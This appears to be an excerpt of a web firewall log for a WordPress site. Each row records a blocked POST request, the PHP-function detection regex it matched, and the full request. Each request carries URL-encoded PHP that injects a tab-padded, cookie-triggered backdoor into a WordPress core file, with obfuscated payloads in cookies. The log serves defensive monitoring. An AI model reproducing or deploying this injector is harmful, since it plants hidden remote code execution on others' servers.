%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 16:48:21","160.187.68.132","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> OQ:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/widgets\/class-wp-widget-recent-comments.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B48-48%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B35%252B-34%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B99%252B-96%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B60-56%255D%2529%2529%2520%257B%2520%2524item%2520%253D%2520%2524_COOKIE%253B%2520function%2520request_approved%2528%2524ent%2529%2520%257B%2520%2524item%2520%253D%2520%2524_COOKIE%253B%2520%2524ref%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527f67c812d%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524ref%2529%2529%2520%257B%2520%2524ref%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522service_registry%2522%253B%2520%257D%2520%2524data%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524item%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524ref%2529%2529%2520%257B%2520%2524dat%2520%253D%2520fopen%2528%2524ref%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524dat%252C%2520%2524data%2529%253B%2520fclose%2528%2524dat%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524ref%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524ref%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522request_approved%2522%2529%253B%2520%2524flg%2520%253D%2520%25227324f01aa5ad2c4539e3067584d51b36%2522%253B%2520if%2520%2528%2521strncmp%2528%2524flg%252C%2520%2524item%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522publish_content_dependency_resolver%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\ncontent-length:4307\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15\naccept:*\/*\naccept-encoding:gzip,deflate\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvG1RvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaOip3DvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\n\nOQ=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/widgets\/class-wp-widget-recent-comments.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B48-48%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B35%252B-34%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B99%252B-96%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B60-56%255D%2529%2529%2520%257B%2520%2524item%2520%253D%2520%2524_COOKIE%253B%2520function%2520request_approved%2528%2524ent%2529%2520%257B%2520%2524item%2520%253D%2520%2524_COOKIE%253B%2520%2524ref%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527f67c812d%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524ref%2529%2529%2520%257B%2520%2524ref%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522service_registry%2522%253B%2520%257D%2520%2524data%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524item%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524ref%2529%2529%2520%257B%2520%2524dat%2520%253D%2520fopen%2528%2524ref%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524dat%252C%2520%2524data%2529%253B%2520fclose%2528%2524dat%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524ref%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524ref%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522request_approved%2522%2529%253B%2520%2524flg%2520%253D%2520%25227324f01aa5ad2c4539e3067584d51b36%2522%253B%2520if%2520%2528%2521strncmp%2528%2524flg%252C%2520%2524item%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522publish_content_dependency_resolver%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 16:48:24","91.142.222.105","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> rF:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/widgets\/class-wp-widget-recent-comments.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B48-48%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B35%252B-34%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B99%252B-96%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B60-56%255D%2529%2529%2520%257B%2520%2524item%2520%253D%2520%2524_COOKIE%253B%2520function%2520request_approved%2528%2524ent%2529%2520%257B%2520%2524item%2520%253D%2520%2524_COOKIE%253B%2520%2524ref%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527f67c812d%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524ref%2529%2529%2520%257B%2520%2524ref%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522service_registry%2522%253B%2520%257D%2520%2524data%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524item%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524ref%2529%2529%2520%257B%2520%2524dat%2520%253D%2520fopen%2528%2524ref%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524dat%252C%2520%2524data%2529%253B%2520fclose%2528%2524dat%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524ref%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524ref%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522request_approved%2522%2529%253B%2520%2524flg%2520%253D%2520%25227324f01aa5ad2c4539e3067584d51b36%2522%253B%2520if%2520%2528%2521strncmp%2528%2524flg%252C%2520%2524item%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522publish_content_dependency_resolver%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nsec-ch-ua-mobile:?0\nhost:dewenlabels.com\nsec-ch-ua-platform:\"macOS\"\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36\naccept:*\/*\nsec-fetch-site:none\nupgrade-insecure-requests:1\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:4307\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvpxLvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzyhqTIlozSfVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\"Not_A Brand\";v=\"8\", \"Chromium\";v=\"120\", \"Google Chrome\";v=\"120\"\naccept-encoding:gzip,deflate\n\nrF=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/widgets\/class-wp-widget-recent-comments.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B48-48%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B35%252B-34%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B99%252B-96%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B60-56%255D%2529%2529%2520%257B%2520%2524item%2520%253D%2520%2524_COOKIE%253B%2520function%2520request_approved%2528%2524ent%2529%2520%257B%2520%2524item%2520%253D%2520%2524_COOKIE%253B%2520%2524ref%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527f67c812d%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524ref%2529%2529%2520%257B%2520%2524ref%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522service_registry%2522%253B%2520%257D%2520%2524data%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524item%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524ref%2529%2529%2520%257B%2520%2524dat%2520%253D%2520fopen%2528%2524ref%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524dat%252C%2520%2524data%2529%253B%2520fclose%2528%2524dat%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524ref%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524ref%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522request_approved%2522%2529%253B%2520%2524flg%2520%253D%2520%25227324f01aa5ad2c4539e3067584d51b36%2522%253B%2520if%2520%2528%2521strncmp%2528%2524flg%252C%2520%2524item%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522publish_content_dependency_resolver%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 16:48:31","185.176.9.68","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> El:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/widgets\/class-wp-widget-recent-comments.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B48-48%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B35%252B-34%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B99%252B-96%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B60-56%255D%2529%2529%2520%257B%2520%2524item%2520%253D%2520%2524_COOKIE%253B%2520function%2520request_approved%2528%2524ent%2529%2520%257B%2520%2524item%2520%253D%2520%2524_COOKIE%253B%2520%2524ref%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527f67c812d%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524ref%2529%2529%2520%257B%2520%2524ref%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522service_registry%2522%253B%2520%257D%2520%2524data%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524item%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524ref%2529%2529%2520%257B%2520%2524dat%2520%253D%2520fopen%2528%2524ref%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524dat%252C%2520%2524data%2529%253B%2520fclose%2528%2524dat%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524ref%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524ref%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522request_approved%2522%2529%253B%2520%2524flg%2520%253D%2520%25227324f01aa5ad2c4539e3067584d51b36%2522%253B%2520if%2520%2528%2521strncmp%2528%2524flg%252C%2520%2524item%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522publish_content_dependency_resolver%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\ncontent-length:4307\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15\naccept:*\/*\naccept-encoding:gzip,deflate\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvEJjvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWznJ5xVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\n\nEl=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/widgets\/class-wp-widget-recent-comments.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B48-48%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B35%252B-34%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B99%252B-96%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B60-56%255D%2529%2529%2520%257B%2520%2524item%2520%253D%2520%2524_COOKIE%253B%2520function%2520request_approved%2528%2524ent%2529%2520%257B%2520%2524item%2520%253D%2520%2524_COOKIE%253B%2520%2524ref%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527f67c812d%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524ref%2529%2529%2520%257B%2520%2524ref%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522service_registry%2522%253B%2520%257D%2520%2524data%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524item%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524ref%2529%2529%2520%257B%2520%2524dat%2520%253D%2520fopen%2528%2524ref%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524dat%252C%2520%2524data%2529%253B%2520fclose%2528%2524dat%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524ref%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524ref%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522request_approved%2522%2529%253B%2520%2524flg%2520%253D%2520%25227324f01aa5ad2c4539e3067584d51b36%2522%253B%2520if%2520%2528%2521strncmp%2528%2524flg%252C%2520%2524item%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522publish_content_dependency_resolver%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 16:48:51","78.142.18.172","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> 